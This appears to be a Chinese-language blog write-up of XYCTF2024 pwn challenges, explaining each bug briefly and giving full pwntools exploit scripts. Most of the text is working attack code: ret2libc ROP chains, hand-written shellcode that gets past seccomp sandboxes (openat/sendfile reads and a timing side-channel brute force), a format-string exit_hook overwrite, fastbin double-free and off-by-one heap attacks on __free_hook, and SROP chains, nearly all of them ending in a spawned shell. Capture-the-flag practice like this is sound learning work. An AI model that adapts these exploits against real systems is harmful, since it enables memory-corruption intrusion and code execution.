hello_world(签到)

两个read,第一个read之后有printf,当识别到\x00或者\x2a时停止输出,这样我们就可以泄露libc地址。可以看到紧邻着rbp的是main函数的返回地址,咱可以通过泄露返回地址根据偏移计算出__libc_start_main的地址,然后就可以计算libc的偏移地址了。

后面就是正常的溢出构造rop链,exp如下:

from pwn import *

p = remote("gz.imxbt.cn",20451)
elf = ELF('./vuln')
libc = ELF("./libc.so.6")

p1 = b'a' * 0x28
p.sendafter("name:",p1)
p.recvuntil(p1)
leak = u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print("leak >>>",hex(leak))

libc_start_main = leak + 0xB0 - 128
libc_addr = libc_start_main - libc.sym['__libc_start_main']
print("libc_addr >>>",hex(libc_addr))

system_addr = libc_addr + libc.sym['system']
bin_sh = libc_addr + next(libc.search(b'/bin/sh\x00'))
pop_rdi_ret = libc_addr + 0x000000000002a3e5
ret = libc_addr + 0x0000000000029139

p2 = b'a' * 0x28 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)
p.sendlineafter("name: ",p2)

p.interactive()

invisible_flag

第一次接触沙箱题,学到了很多,也是第一次自己手写shellcode,记录一下。

参考链接:

ORW针对缺O、R、W情况的总结

测信道爆破

栈沙箱学习之orw

orw总结分享

查看有哪些函数和传参规范:https://syscalls.mebeim.net/?table=x86/64/x64/v6.5

程序就是一个简单的读取操作,然后会把读取到的内容执行。有沙箱

seccomp-tools dump ./vuln

禁用了read、write、open以及他们的一些可替换的系统调用,禁用execve和execveat,无法调用system之类的函数,所以我们就可以看看能不能打orw。open我们可以用openat绕过,至于read和write,这里有两种思路:一种是用pread64替代read,然后打测信道爆破flag;另一种是直接用sendfile64替换read和write,sendfile64 (调用号:0x28)可以直接让一个文件描述符的内容输出到另一个文件描述符上。先说一下为什么read的fd是3,0~2都是保留的用于缓冲区(stdin、stdout、stderr对于的文件描述符分别是0、1、2),我们打开第一个新文件的文件描述符是3,第二个是4,以此类推。

先看看第二种方法:

shellcode = asm(
'''
mov rax, 0x67616c662f2e
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
xor rdx, rdx
xor r10, r10
push 0x101
pop rax
syscall

mov rdi, 1
mov rsi, 3
push 0
mov rdx, rsp
mov r10, 0x100
push 0x28
pop rax
syscall

''',arch="amd64"
)

调用openat打开文件,然后用sendfile64将3(flag文件)的内容输出到1(标准输出)。

第一种方法就是侧信道爆破:
pwn题目开启沙箱后,我们通常可以采用open、read、write函数输出flag,但是如果沙箱禁用了write函数,使我们只能利用open和read函数,这时候就要利用侧信道爆破了。侧信道攻击在pwn中的主要思想就是通过逐位爆破获得flag,一般是判断猜测的字符和flag的每一位进行对比,如果相同就进入死循环,然后利用时间判断是否正确,循环超过一秒则表示当前爆破位爆破字符正确。通常侧信道攻击一般都是通过shellcode来实现的,并且比较的方法最好是使用‘二分法’这样的话节约时间并且效率高。

exp如下:

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process("./vuln2")


def exp(dis,char):
	pay = asm('''
	mov rax, 0x67616c662f2e
	push rax
	mov rdi, 0xffffff9c
	mov rsi,rsp
	xor rdx,rdx
	mov rax,257 #openat
	syscall
	
	mov rdi, 3
	mov rsi, 0x114514000LL
	mov rdx, 0x100
	xor r10, r10
	push 0x11 #pread64
	pop rax
	syscall
	
	mov dl, byte ptr [rsi+{}]
  mov cl, {}
  cmp cl,dl
  jz loop
  mov al,60 #exit
  syscall
  loop:
  jmp loop
	'''.format(dis,char))
	p.sendafter(":\n",pay)

flag = ""

for i in range(len(flag),50):
	sleep(1)
	print("flag : {}".format(flag))
	for j in range(0x20,0x80):
		p = process("./vuln2")
		try:
			exp(i,j)
			p.recvline(timeout=1)
			flag += chr(j)
			print("flag : ",flag)
			log.success("{} pos : {} success".format(i,chr(j)))
			p.close()
			break
		except:           
			p.close()

malloc_flag

又学到新东西了,libc版本为2.31的版本中有tcache机制。

参考文章:Tcache attack学习

申请的堆在释放后被存入tcache,再申请一个一模一样的堆就可以把原来的堆申请回来,再打印出来就可以了,不够这个tcache还没完全搞懂,后面再看看。

tcache是libc2.26之后引进的一种新机制,类似于fastbin一样的东西,每条链上最多可以有 7 个 chunk,free的时候当tcache满了才放入fastbin,unsorted bin,malloc的时候优先去tcache找。其相关结构体如下

由于程序把flag存入了0x100的堆空间,此时的chunk实际大小为0x110,free之后这个堆块会被放入tcache中,然后再申请0x100~0x108(埋个坑,我也不知道为什么)

size ,该 chunk 的大小,大小必须是 MALLOC_ALIGNMENT 的整数倍。如果申请的内存大小不是 MALLOC_ALIGNMENT 的整数倍,会被转换满足大小的最小的 MALLOC_ALIGNMENT 的倍数,这通过 request2size() 宏完成。32 位系统中, MALLOC_ALIGNMENT 可能是 4 或 8 ;64 位系统中,MALLOC_ALIGNMENT 是 8。

本地和远程还不太一样,可能是Glibc版本不同导致tcache的结构不太一样?或者是申请回来的堆块有区别?(再埋一个坑)

static_link

静态编译,直接用 ROPgadget –binary vuln –ropchain 可解,但是会得到一个比较长的rop链,这里可能是超过最大的读入数量了,看一下rop链发现里面有很长一大串在

p += pack('<Q', 0x00000000004711d0) # add rax, 1 ; ret 一共59个

这里把上面59条改一下,直接给rax赋值为59

p += pack('<Q', 0x0000000000447fe7) # pop rax ; ret

p += p64(59)

Tips:遇到rop链过长注意观察能否缩减。

fmt

好玩,又学到两个新东西。

首先就是一个格式化字符串漏洞,scanf可以实现任意地址写内存。然后就是打exit_hook,通过修改这个指针指向的地址来控制程序执行流。

exit hook函数介绍
使用版本:glibc2.34之前
链子:run_exit.handlers–>_dl_fini
存在情况通过libc_start_main进入或者使用了exit函数

在ibc-2.23中
exit_hook=libc_base+0x5f0040+3848
exit_hook=libc_base+0x5f0040+3856


在Iibc-2.27中
exit_hook=libc_base+0x619060+3840
exit_hook=libc_base+0x619060+3848

在libc-2.31中

ld_base = libc_base + 0x1f4000
_rtld_global = ld_base + ld.sym[‘_rtld_global’]
_dl_rtld_lock_recursive = _rtld_global + 0xf08
_dl_rtld_unlock_recursive = _rtld_global + 0xf10

Python
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

url = "gz.imxbt.cn"
port = 20862
p = remote(url,port)

elf = ELF('./vuln')
libc = ELF('/home/kali/Desktop/XYCTF2024/pwn5/libc-2.31.so')
ld = ELF('/home/kali/Desktop/XYCTF2024/pwn5/ld-2.31.so')

p.recvuntil(b"0x")
leak = int(p.recv(12),16)
print("printf >>>", hex(leak))

libc_base = leak - libc.sym['printf']
exit_hook = libc_base + 0x1f4000 + ld.sym['_rtld_global'] + 3848

payload = b"%7$s"
payload = payload.ljust(0x8,b'\x00')
payload += p64(exit_hook)

p.sendafter(b"\n",payload)

p.sendline(p64(0x4012be))
sleep(0.5)
p.sendline(b'cat flag')
p.interactive()

baby_gift

程序退出时rax指向第二次输入的参数,可以利用类似栈迁移的手段,将栈转移到其他地方。

payload = b"%27$p%11$p".ljust(0x20,b"a")+p64(0x404f08)+ p64(mov_rax_printf)

p64(0x404f08)覆盖的是ord ebp,再leave ret之后可以将栈迁移到0x404f08的位置,这个是随便找的可读可写的地址。

  • leave可以理解为mov  rsp,rbp;pop rbp
  • ret可以理解为pop rip

p64(mov_rax_printf)覆盖的是返回地址,调用printf函数利用格式化字符串泄露libc

在栈上构造rop链,正常的ret2libc

Python
from pwn import *

elf = ELF("./vuln")
libc = ELF("./libc.so.6")
context(os='linux', arch='amd64', log_level='debug')

p = remote("gz.imxbt.cn",20650)


ret = 0x40101a
mov_rax_printf = 0x401274
p.recvuntil(b"Your name:\n")
p.sendline(b"aaaaaaaaaaaaaa")
p.recvuntil(b"Your passwd:\n")
payload = b"%27$p%11$p".ljust(0x20,b"a")+p64(0x404f08)+ p64(mov_rax_printf)

p.sendline(payload)
res = p.recvline()
libc_base = int(res[:14],16) -128 -0x29DC0
stack_addr = int(res[14:28],16)
print("stack_addr >>>",hex(stack_addr))
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
print("libc_base >>>",hex(libc_base))
rdi = libc_base + 0x2a3e5

payload =b'a'*0x20+ p64(ret)+p64(rdi)+p64(binsh_addr)+p64(system_addr)
p.sendline(payload)
p.interactive()

fastfastfast

libc版本为2.31的堆题,tcache机制,fastbin attack,修改free_hook

调试方法:

gdb命令:p &__free_hook查看地址、vis查看堆内存

libc命令和ld命令查看基址

def debug():
    gdb.attach(p,"b*0x401564")
Python
from pwn import *
#p = process("./vuln")
p = remote("gz.imxbt.cn",20941)
def debug():
    gdb.attach(p,"b*0x401564")

def add(index, data):
    p.sendlineafter(">>> ", b'1')
    p.sendlineafter("idx", str(index))
    p.sendlineafter("content", data)

def delete(index):
    p.sendlineafter(">>> ", b'2')
    p.sendlineafter("idx", str(index))

def show(index):
    p.sendlineafter(">>> ", b'3')
    p.sendlineafter("idx", str(index))

#debug()

#
add(0, b'a' * 0x68)
add(1, b'b' * 0x68)
add(2, b'c' * 0x68)
add(3, b'd' * 0x68)
add(4, b'e' * 0x68)
add(5, b'f' * 0x68)
add(6, b'g' * 0x68)

add(7, b'h' * 0x68)
add(8, b'i' * 0x68)

#填充tcache
delete(0)
delete(1)
delete(2)
delete(3)
delete(4)
delete(5)
delete(6)

#fastbin double free

delete(7)
delete(8)
delete(7)

add(0, b'a' * 0x68)
add(1, b'b' * 0x68)
add(2, b'c' * 0x68)
add(3, b'd' * 0x68)
add(4, b'e' * 0x68)
add(5, b'f' * 0x68)
add(6, b'g' * 0x68)

#tcache bin的机制,fastbin取出一个之后把其他的按照先进后出的方式放入tcache bin
add(7, p64(0x404070))#把7的fd指针改为0x404070
add(8, b'j' * 0x68)
add(9, b'k' * 0x68)
add(10, p64(0x404070))

show(10)#泄露0x404070处的内存

p.recv(0x10)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x1ED6A0
print(hex(libc_base))

malloc_hook = libc_base + 0x7f98a6b01b70 - 0x7f98a6915000
system_addr = libc_base + 0x7f98a69672c0 - 0x7f98a6915000
free_hook = libc_base + 0x7f98a6b03e48 - 0x7f98a6915000

delete(0)
delete(1)
delete(2)
delete(3)
delete(4)
delete(5)
delete(6)

delete(7)
delete(8)
delete(7)

add(0, b'a' * 0x68)
add(1, b'b' * 0x68)
add(2, b'c' * 0x68)
add(3, b'd' * 0x68)
add(4, b'e' * 0x68)
add(5, b'f' * 0x68)
add(6, b'g' * 0x68)

add(7, p64(free_hook))#将下一个修改为freehook
add(8, b'j' * 0x68)
add(9, b'/bin/sh\x00')
add(10, p64(system_addr))#修改freehook为system
#gdb.attach(p)
delete(9)
p.interactive()

Intermittent

断断续续的shellcode

可见最终的shellcode会被分割为三个部分,且最多只有12个字节被用上,这时我们可以利用jmp指令,跳过中间的\x00。

先调用read

read(0, addr, size),此时rax已经是0了,rdx是0x114514000,rdi还是之前read时设置的0没有被改变,所以我们可以直接把rdx赋值给rsi,最后再syscall就可以成功调用read(0, 0x114514000, 0x114514000)进而读入一个更大的shellcode

这题没有沙箱,那我们直接调用execve(“/bin/sh\x00”, 0, 0)就可以了

但是要注意,此时rip寄存器指向的是上一个shellcode的syscall,想要让rip指向我们接下来的shellcode,我们需要先把从0x114514000开始的前面的0x12的空间用垃圾数据填充,这样rip向下执行时就自然而然地指向了我们的shellcode。

Python
from pwn import *

#p = process("./vuln")
p = remote("gz.imxbt.cn",20957)
shellcode = asm(
'''
push rdx
pop rsi
jmp $+0xe
syscall
''',arch='amd64'
)
p.sendlineafter("show your magic: ",shellcode)
payload = b'a'*0x12
payload += asm(
'''
mov rax, 0x0068732f6e69622f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 59
syscall
''',arch='amd64'
)

p.sendline(payload)
#gdb.attach(p)

p.interactive()

guestbook1

不难,但是学到新东西了

有一个潜在的栈迁移,然后数组溢出导致id可以覆盖old rbp的最后一个字节,当这个字节被覆盖后恰好被迁移到前面的栈上时,就可以控制程序流了,当然要提前在迁移前的栈上布置一下后门地址

Python
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
for i in range(50):
    try:
        #p = process("./pwn")
        p = remote("gz.imxbt.cn",20978)
        backdoor = 0x401323
        ret = 0x000000000040101a
        for i in range(32):
            p.sendlineafter("index",str(i))
            p.sendlineafter("name:", p64(backdoor)*2)
            p.sendlineafter("id:", str(i))
          
        p.sendlineafter("index",str(32))
        p.sendlineafter("name:", p64(backdoor)*2)
        p.sendlineafter("id:", b'88')
        
        p.sendlineafter("index",str(-1))
        p.interactive()
    except:
        p.close()

simple_srop

sigreturn系统调用

signal机制:保存上下文环境(即各种寄存器),接下来走到执行信号处理函数,处理完后恢复相关栈环境,继续执行用户程序。而在恢复寄存器环境时没有去校验这个栈是不是合法的,如果我们能够控制栈,就能在恢复上下文环境这个环节直接设定相关寄存器的值。

sigreturn 系统调用会将进程恢复为之前”保存的”,也就是从栈中pop回到各寄存器,在执行sigreturn 系统调用期间,我们对栈中的值是可以任意读写的,而且由于内核与信号处理程序无关, signal 对应的各个寄存器值并不会被记录,那么,只要我们能够劫持栈中的数据,伪造一个 Signal Frame ,那么就可以控制任意寄存器的值。

signal链的调用

首先要获取sig_ret的地址和syscall_ret,其次程序要有栈溢出等可以控制程序执行流的漏洞,然后就可以使用SROP来获取shell或者orw读取flag。

Python
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
#p = remote("gz.imxbt.cn",20135)
p = process("./vuln")

def debug():
    gdb.attach(p,"b*0x4012B4")
#debug()
syscall_ret = 0x40129D
ret = 0x40101a
sig_ret = 0x401296
bss = 0x404100

#read(0, bss, 0x300) #读入flag字符串以及后面的SROP链到bss段
sigframe0 = SigreturnFrame()

sigframe0.rax = 0
sigframe0.rdi = 0
sigframe0.rsi = bss
sigframe0.rdx = 0x300
sigframe0.rsp = bss + 0x8
sigframe0.rip = syscall_ret

payload = b'a' * 0x28 + p64(sig_ret) + bytes(sigframe0)
p.send(payload)

#open(flag, 0, 0)
sigframe1 = SigreturnFrame()

sigframe1.rax = 2
sigframe1.rdi = bss
sigframe1.rsi = 0
sigframe1.rdx = 0
sigframe1.rsp = bss + 0x8 + 0x100
sigframe1.rip = syscall_ret

#sendfile(1, 3, 0, 0x100)
sigframe2 = SigreturnFrame()

sigframe2.rax = 40
sigframe2.rdi = 1
sigframe2.rsi = 3
sigframe2.rdx = 0
sigframe2.r10 = 0x100
sigframe2.rip = syscall_ret

payload = b'flag\x00\x00\x00\x00' + p64(sig_ret) + bytes(sigframe1)+ p64(sig_ret) + bytes(sigframe2)
p.send(payload)
p.interactive()

在构造链子的时候要注意rsp的值,程序是通过rsp间接控制rip来实现劫持的(ret指令是pop rip,会将当前rsp指向的内容赋值给rip),这个偏移量需要调试得到(不知道为什么调不出来)

每次都要先sig_ret,然后是根据pwntools构造的SROP链(链子中的rip记得赋值为syscall_ret,从而进行系统调用并ret到rsp指向的内存),SROP链用bytes包裹即可。

one_byte

好题,2.31的堆题,注意tcache机制,uaf+off_by_one(正好可以修改下一个堆块的size)打free_hook

uaf的理念就是在free之后可以继续编辑或者读取这个堆块,从而修改内存(比如修改fd指针打free_hook)或者泄露libc地址(比如用unstoredbin attack泄露main_arae)

Python
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
p = process("./vuln")
#p = remote("gz.imxbt.cn", 20195)
def debug():
    gdb.attach(p,"b *$rebase(0x182b)")

debug()

def add(index, size):
    p.sendlineafter(">>> ", b'1')
    p.sendlineafter("chunk_idx: ", str(index))
    p.sendlineafter("size: ", str(size))

def delete(index):
    p.sendlineafter(">>> ", b'2')
    p.sendlineafter("chunk_idx: ", str(index))

def show(index):
    p.sendlineafter(">>> ", b'3')
    p.sendlineafter("chunk_idx: ", str(index))

def edit(index, data):
    p.sendlineafter(">>> ", b'4')
    p.sendlineafter("chunk_idx: ", str(index))
    sleep(0.1)
    p.send(data)

for i in range(7):
    add(i, 0x98)
add(7, 0x18)
add(8, 0x18)
add(9, 0x98)
add(10, 0x18)
for i in range(7):
    delete(i)
edit(7, b'a'*0x18+p8(0xc1))#正好覆盖9号堆块
delete(8)
add(11, 0xb8)
delete(9)
show(11)

p.recv(0x20)
leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print("leak >>>", hex(leak))
libc_base = leak - 0x1ecbe0
print("libc_addr >>>", hex(libc_base))

system_addr = libc_base + 0x52290
free_hook = libc_base + 0x1eee48

edit(7, b'a'*0x18+p8(0x21))
add(12, 0x18)
add(13, 0x78)

#构造tcachebin的uaf
add(14, 0x18)
add(15, 0x68)
add(16, 0x68)
add(17, 0x68)

edit(14, b'a' * 0x18 + p8(0xe1))
delete(15)
add(18, 0xd8)

delete(17)#tcachebin的机制,index为0的时候申请不出来
delete(16)

edit(18, b'a' * 0x68 + p64(0x71) + p64(free_hook))#修改16号堆块的fd指针为freehook

add(19, 0x68)
add(20, 0x68)
edit(19, b'/bin/sh\x00')
edit(20, p64(system_addr))

delete(19)
p.interactive()

说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...